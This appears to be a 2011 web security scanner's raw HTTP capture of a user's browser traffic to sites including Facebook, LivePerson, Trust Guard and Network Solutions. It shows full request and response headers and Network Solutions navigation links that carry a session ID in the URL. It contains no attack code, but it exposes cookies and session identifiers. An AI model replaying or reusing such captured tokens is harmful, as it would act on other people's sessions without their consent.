Referer: http://www.compliancepoint.com/sub_serv_isc_pci.asp?gclid=CJu4wszV1KgCFQ075QodRCyFgQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=CspT702sdV9LL0aNgCmJAg==; __switchTo5x=64; __utmz=79367510.1303478681.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __unam=8f891fa-12f7d623a1f-609dccbc-23; __utma=79367510.1475296623.1303478681.1303478681.1303478681.1

HTTP/1.1 204 No Content
Server: nginx/0.7.65
Date: Sat, 07 May 2011 01:21:37 GMT
Connection: keep-alive

GET /ps/ifr?container=friendconnect&mid=0&nocache=0&view=profile&parent=http%3A%2F%2Fallatsea.net%2F&url=http%3A%2F%2Fwww.google.com%2Ffriendconnect%2Fgadgets%2Fmembers.xml&communityId=14672211859858017590&caller=http%3A%2F%2Fallatsea.net%2F&rpctoken=793165240 HTTP/1.1
Host: r1rk9np7bpcsfoeekl0khkd2juj27q3o-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 302 Moved Temporarily
Location: http://r1rk9np7bpcsfoeekl0khkd2juj27q3o-a-fc-opensocial.googleusercontent.com/gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/members.xml&container=peoplesense&parent=http://allatsea.net/&mid=0&view=profile&d=0.558.7&lang=en&communityId=14672211859858017590&caller=http://allatsea.net/#st=e%3DAOG8GaDqCckjYlSdnSuVAp1xD0RyWPrcDzoIIENhb187XPF7N2C%252BNVQus63ZJ2f%252BsVjZsaYjoapJjvCY8thM4nVmcWK222evf2BRDsQIEC1JN8WsB9IFb%252B3wWR1iduH2NVQ4uXVRd3iGqVgUJHQmu4fnfC9cdTzwATLe%252FHRy%252BF%252FJBWgKYovBiMLDLfCtYTXIOV7MnMkPCln72luzTjFbphAG9AwTsSPUSw%253D%253D%26c%3Dpeoplesense&rpctoken=793165240&
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 21:06:47 GMT
Expires: Fri, 06 May 2011 21:06:47 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 825

<HTML>
<HEAD>
<TITLE>Moved Temporarily</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Moved Temporarily</H1>
The document has moved <A HREF="http://r1rk9np7bpcsfoeekl0khkd2juj27q3o-a-fc-o
...[SNIP]...

GET /hc/56727252/?&visitor=16601209214853&msessionkey=3247410556407470076&site=56727252&cmd=mTagInPage&lpCallId=431311725638-293978607282&protV=20&lpjson=1&page=http%3A//www.dynamicperimeter.com/download/Intel_Expressway_Tokenization_Broker/%3Fpartnerref%3Dgoogletokenization%26gclid%3DCMLLqMvV1KgCFUSo4AodlBcAgw&id=2813141930&javaSupport=true&visitorStatus=INSITE_STATUS&defInvite=chat-software-soa-english&activePlugin=none&cobrowse=true HTTP/1.1
Host: sales.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.dynamicperimeter.com/download/Intel_Expressway_Tokenization_Broker/?partnerref=googletokenization&gclid=CMLLqMvV1KgCFUSo4AodlBcAgw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: HumanClickKEY=3247410556407470076; HumanClickSiteContainerID_56727252=STANDALONE; LivePersonID=LP i=16601209214853,d=1303177644; _mkto_trk=id:220-ESA-932&token:_mch-liveperson.net-1304643823223-44198; ASPSESSIONIDQAAASBQA=ANKDKPNBJPKBNENOBMHMELBD

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:16:36 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickSiteContainerID_56727252=STANDALONE; path=/hc/56727252
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Sat, 07 May 2011 01:16:36 GMT
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 188

lpConnLib.Process({"ResultSet": {"lpCallId":"431311725638-293978607282","lpCallConfirm":"","lpJS_Execute":[{"code_id": "INPAGE-DELAY-10", "js_code": "lpMTag.lpInPageRequestDelay=10;"}]}});

GET /visitor/index.php?_m=livesupport&_a=updatefootprint&time=1304747383146&rand=44&url=https%3A%2F%2Fwww.trust-guard.com%2Fcompare-Trust-Seals-s%2F1.htm&isfirsttime=1&sessionid=dxzxxi50ag628l80x5yuzob4lbj3yre8&referrer=&resolution=1920x1156&colordepth=16&platform=Win32&appversion=5.0%20(Windows%20NT%206.1%3B%20WOW64)%20AppleWebKit%2F534.24%20(KHTML%2C%20like%20Gecko)%20Chrome%2F11.0.696.60%20Safari%2F534.24&appname=Netscape&browsercode=SF&browserversion=5.0%20(Windows%20NT%206.1%3B%20WOW64)%20AppleWebKit%2F534.24%20(KHTML%2C%20like%20Gecko)%20Chrome%2F11.0.696.60%20Safari%2F534.24&browsername=Safari&operatingsys=Windows&pagetitle=Trust%20Seals%20from%20Trust%20Guard%20-%20Improve%20Online%20Conversion%20and%20Build%20Customer%20Trust%20today.&country=&countrycode=&hasnotes=0&campaignid=&campaigntitle= HTTP/1.1
Host: support.trust-guard.com
Connection: keep-alive
Referer: https://www.trust-guard.com/compare-Trust-Seals-s/1.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=147269874.1166530582.1303748966.1303748966.1303758698.2; SWIFT_client=a%3A1%3A%7Bs%3A7%3A%22groupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid80=dxzxxi50ag628l80x5yuzob4lbj3yre8; SWIFT_visitor=a%3A3%3A%7Bs%3A11%3A%22countrycode%22%3Bs%3A4%3A%22none%22%3Bs%3A11%3A%22countryname%22%3Bs%3A4%3A%22none%22%3Bs%3A9%3A%22notecheck%22%3Bs%3A1%3A%221%22%3B%7D

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:49:44 GMT
Server: Apache/1.3.41 Ben-SSL/1.59
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
X-Powered-By: PHP/5.2.17
Set-Cookie: SWIFT_visitor=a%3A4%3A%7Bs%3A11%3A%22countrycode%22%3Bs%3A4%3A%22none%22%3Bs%3A11%3A%22countryname%22%3Bs%3A4%3A%22none%22%3Bs%3A9%3A%22notecheck%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22isbanned%22%3Bs%3A1%3A%220%22%3B%7D; path=/
Last-Modified: Sat, 07 May 2011 00:49:44 GMT
Keep-Alive: timeout=2, max=200
Connection: Keep-Alive
Content-Type: image/gif
Content-Length: 44

GIF89a.............!.......,............o..;

GET /extern/login_status.php?api_key=131538103586818&app_id=131538103586818&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df1499dcf34%26origin%3Dhttp%253A%252F%252Fwww.expedia.com%252Ff9e2604f4%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Dfadeee38%26origin%3Dhttp%253A%252F%252Fwww.expedia.com%252Ff9e2604f4%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df17cc3f4b4%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df83f63454%26origin%3Dhttp%253A%252F%252Fwww.expedia.com%252Ff9e2604f4%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df17cc3f4b4&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df35de3a3%26origin%3Dhttp%253A%252F%252Fwww.expedia.com%252Ff9e2604f4%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df17cc3f4b4&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D0%23cb%3Df221aff988%26origin%3Dhttp%253A%252F%252Fwww.expedia.com%252Ff9e2604f4%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df17cc3f4b4&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dbing.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww.bing.com%252Fhp%253F%2526MKT%253Den-us%26extra_2%3DUS; datr=ituyTcnawc6q7VcE0gibPCo2

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=0#cb=f35de3a3&origin=http%3A%2F%2Fwww.expedia.com%2Ff9e2604f4&relation=parent&transport=postmessage&frame=f17cc3f4b4
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.42.87.63
X-Cnection: close
Date: Fri, 06 May 2011 22:33:42 GMT
Content-Length: 0

GET /legal/SSL-legal-repository-rpg.jsp HTTP/1.1
Host: www.networksolutions.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Sat, 07 May 2011 01:16:25 GMT
Set-cookie: JSESSIONID=806e2d4caa6cc054763194e76a0a; Version=1; Comment=Sun+ONE+Application+Server+Session+Tracking+Cookie; Path=/
X-powered-by: Servlet/2.5
Set-cookie: JROUTE=8y5l; Version=1; Comment=Sun+ONE+Application+Server+Session+Tracking+Cookie; Path=/
Set-cookie: vrsnsf=806e2d4caa6cc054763194e76a0a; Expires=Thu, 25-May-2079 04:30:31 GMT; Path=/
Set-cookie: siteId=46064838-12; Expires=Tue, 01-May-2012 01:16:25 GMT; Path=/
Content-type: text/html;charset=UTF-8
Date: Sat, 07 May 2011 01:16:25 GMT
Vary: accept-encoding
Content-Length: 44952

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<head>
<title>Legal | Network Solutions</title>
<meta http-equiv="content-type" conte
...[SNIP]...
<div class="logo"><a href="/;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" title="Network Solutions Home" ><img src="/img/graphics/navigation/noTab/ns-logo.png" alt="Network Solutions" border="0" />
...[SNIP]...
<li id="c-deals"><a href="/promotions-and-free-offers.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Hot Deals</a>
...[SNIP]...
<li id="c-renew"><a href="/manage-it/bulk-renewal.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Renew Services</a>
...[SNIP]...
<div><a href="/manage-it/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" class="manage-button" rel="nofollow" ><img src="/img/buttons/navigation/btn-manage-account.gif" alt="Manage Account"/>
...[SNIP]...
<li class="noLeftLine"><a href="/help/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RV7SUP" class="omniture-link" >Support</a>
...[SNIP]...
<li class="noRighLine"><a href="/affiliate-program/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RV7AFF" class="omniture-link" >Affiliates</a>
...[SNIP]...
<li class="noRighLine"><a href="/reseller-program/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RV7RES" class="omniture-link" >Resellers</a>
...[SNIP]...
<li class="navItem first">
           <a href="/domain-name-registration/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DN" class="omniture-link" ><span>
...[SNIP]...
<li class="first"><a href="/domain-name-registration/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DN" class="omniture-link" >Domain Name Search</a>
...[SNIP]...
<li><a href="/domain-name-registration/pending.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DN" class="omniture-link" >Expired Domains</a>
...[SNIP]...
<li><a href="/build-it/forwarding.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DN" class="omniture-link" >Web Forwarding</a>
...[SNIP]...
<li><a href="/domain-transfer/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DN" class="omniture-link" >Transfer Your Domain Name</a>
...[SNIP]...
<li class="cap all"><a href="/domain-name-registration/private.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DN" class="omniture-link" >Private Registration</a>
...[SNIP]...
<li class="navItem">
           <a href="/create-a-website/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7WS" class="omniture-link" ><span>
...[SNIP]...
<li class="first"><a href="/create-a-website/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7WS" class="omniture-link" >Website Package</a>
...[SNIP]...
<li><a href="/free-website/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7WS" class="omniture-link" >Free Website</a>
...[SNIP]...
<li><a href="/mobile-website/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7WS" class="omniture-link" >Mobile Website <em>
...[SNIP]...
<li><a href="/e-commerce/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7WS" class="omniture-link" >Ecommerce Website</a>
...[SNIP]...
<li class="cap"><a href="/small-business/getting-online.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7WS" class="omniture-link" >All Website Solutions ></a>
...[SNIP]...
<li class="navItem">
           <a href="/web-hosting/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7HP" class="omniture-link" ><span>
...[SNIP]...
<li class="first"><a href="/web-hosting/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7HP" class="omniture-link" >Web Hosting</a>
...[SNIP]...
<li><a href="/web-hosting/wordpress/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7HP" class="omniture-link" >WordPress® Blog Hosting</a>
...[SNIP]...
<li><a href="/web-hosting/sharepoint/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7HP" class="omniture-link" >SharePoint® Hosting</a>
...[SNIP]...
<li><a href="/vps/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7HP" class="omniture-link" >VPS Hosting</a>
...[SNIP]...
<li class="cap"><a href="/web-hosting/packages.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7HP" class="omniture-link" >All Hosting Packages ></a>
...[SNIP]...
<li class="navItem">
           <a href="/email-account/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7E" class="omniture-link" ><span>
...[SNIP]...
<li class="first"><a href="/email-account/personal-email.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7E" class="omniture-link" >Personalized Email</a>
...[SNIP]...
<li><a href="/email-account/business-email.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7E" class="omniture-link" >Business Email</a>
...[SNIP]...
<li class="cap"><a href="/email-account/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7E" class="omniture-link" >All Email Solutions ></a>
...[SNIP]...
<li class="navItem">
           <a href="/e-commerce/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7ECOM" class="omniture-link" ><span>
...[SNIP]...
<li class="first"><a href="/e-commerce/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7ECOM" class="omniture-link" >Ecommerce Website</a>
...[SNIP]...
<li class="cap"><a href="/merchant-accounts/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7ECOM" class="omniture-link" >Merchant Accounts</a>
...[SNIP]...
<li class="navItem">
           <a href="/SSL-certificates/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OS" class="omniture-link" ><span>
...[SNIP]...
<li class="first"><a href="/SSL-certificates/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OS" class="omniture-link" >SSL Certificates</a>
...[SNIP]...
<li><a href="/security-suite/site-confirm-seal.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OS" class="omniture-link" >Site Seal</a>
...[SNIP]...
<li><a href="/security-suite/watchdog.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OS" class="omniture-link" >Security and Performance Monitoring</a>
...[SNIP]...
<li class="cap"><a href="/security-suite/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OS" class="omniture-link" >All Security Products ></a>
...[SNIP]...
<li class="navItem">
           <a href="/online-marketing/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OM" class="omniture-link" ><span>
...[SNIP]...
<li class="first"><a href="/search-engine-optimization/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OM" class="omniture-link" >Search Engine Optimization (SEO)</a>
...[SNIP]...
<li><a href="/search-engine-submission/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OM" class="omniture-link" >Local Search Visibility</a>
...[SNIP]...
<li><a href="/pay-per-click/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OM" class="omniture-link" >Pay Per Click Advertising (PPC)</a>
...[SNIP]...
<li><a href="/email-marketing-campaigns/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OM" class="omniture-link" >Email Marketing</a>
...[SNIP]...
<li><a href="/press-release-services/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OM" class="omniture-link" >Online Press Release</a>
...[SNIP]...
<li class="cap"><a href="/online-marketing/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7OM" class="omniture-link" >All Online Marketing Services ></a>
...[SNIP]...
<li class="navItem">
           <a href="/design-develop/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DS" class="omniture-link" ><span>
...[SNIP]...
<li class="first"><a href="/web-design-services/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DS" class="omniture-link" >Website Design</a>
...[SNIP]...
<li><a href="/e-commerce/web-design/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DS" class="omniture-link" >Ecommerce Web Design</a>
...[SNIP]...
<li><a href="/design-develop/website-enhancements/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DS" class="omniture-link" >Web Enhancements</a>
...[SNIP]...
<li><a href="/custom-logo-design/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DS" class="omniture-link" >Custom Logo Design</a>
...[SNIP]...
<li><a href="/design-develop/website-maintenance.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DS" class="omniture-link" >Website Maintenance Options</a>
...[SNIP]...
<li><a href="/design-develop/contact-an-expert.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DS" class="omniture-link" >Contact an Expert</a>
...[SNIP]...
<li><a href="/mytime-support/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DS" class="omniture-link" >MyTime Support™</a>
...[SNIP]...
<li class="cap"><a href="/design-develop/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RVH7DS" class="omniture-link" >All Design & Development Services ></a>
...[SNIP]...
<li class="navItem cap">
           <a href="/mobile-services/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RV7MOB" class="omniture-link" ><span>
...[SNIP]...
<li class="first"><a href="/mobile-website/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RV7MOB" class="omniture-link" >Mobile Website <em>
...[SNIP]...
<li><a href="/mobile-services/mobile-payments-app.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RV7MOB" class="omniture-link" >nsMobilePay™ <em>
...[SNIP]...
<li><a href="/mobile-services/mpact.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RV7MOB" class="omniture-link" >MPACT™ App <em>
...[SNIP]...
<li><a href="/mobile-services/iphone-domain-search.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RV7MOB" class="omniture-link" >DomainStorm™</em>
...[SNIP]...
<li class="cap"><a href="/mobile-services/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" name="1RV7MOB" class="omniture-link" >All Mobile Services ></a>
...[SNIP]...
<a href="/;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" class="breadCrumbRoot" >Network Solutions</a>
...[SNIP]...
</span> 
                <a href="/legal/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Legal</a>
...[SNIP]...
<div class="userStatus">

<a href="/manage-it/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" class="logInOut" rel="nofollow" >Log In</a>
...[SNIP]...
<li><a href="/legal/legal-notice.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Site Terms of Use and DMCA Claims</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#general" >General Provisions</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#a" >Domain Names (nsWebAddress)</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#b" >ccTLD Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c1" >.BIZ Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c2" >.INFO Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c3" >.EU Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c4" >.NAME Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c5" >.US Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c6" >.CA Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c7" >.CN Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c8" >.TW Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c9" >.PRO Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c10" >.MOBI Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c11" >.GD Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#c12" >.TEL Domain Names</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#d" >Private Registration</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#e" >Change of Registrar Service</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#f" >Registrant Name Change Agreement</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#g" >Extended Year Service</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#h" >Email (nsMail)</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#i" >Web Forwarding</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#j" >WHOIS Business Listing</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#k" >nsSpace, nsBusinessSpace, and Website Builder Tool</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#l" >MyComputer Services</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#m" >Certified Offer Service</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#n" >Hosting Service (nsHosting)</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#o" >Online Marketing Services (nsMarketing)</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#p" >Paid Advertising Services (nsMarketing)</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#q" >Website Design Services (Design/Develop)</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#r" >Ecommerce Services (nsCommerceSpace)</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#s" >MessageGuard</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#t" >WatchDog (nsProtect Safe)</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#u" >Website Migration Services (TransferMe)</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l#v" >Freelance Logo Design Service</a>
...[SNIP]...
<li><a href="/legal/privacy-policy.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Privacy Policy</a>
...[SNIP]...
<li><a href="http://www.networksolutions.com/support/domain-deletion-policy/;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" target="_new" >Domain Deletion Policy</a>
...[SNIP]...
<li><a href="http://www.networksolutions.com/support/domain-transfer-policy/;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" target="_new" >Domain Transfer Policy</a>
...[SNIP]...
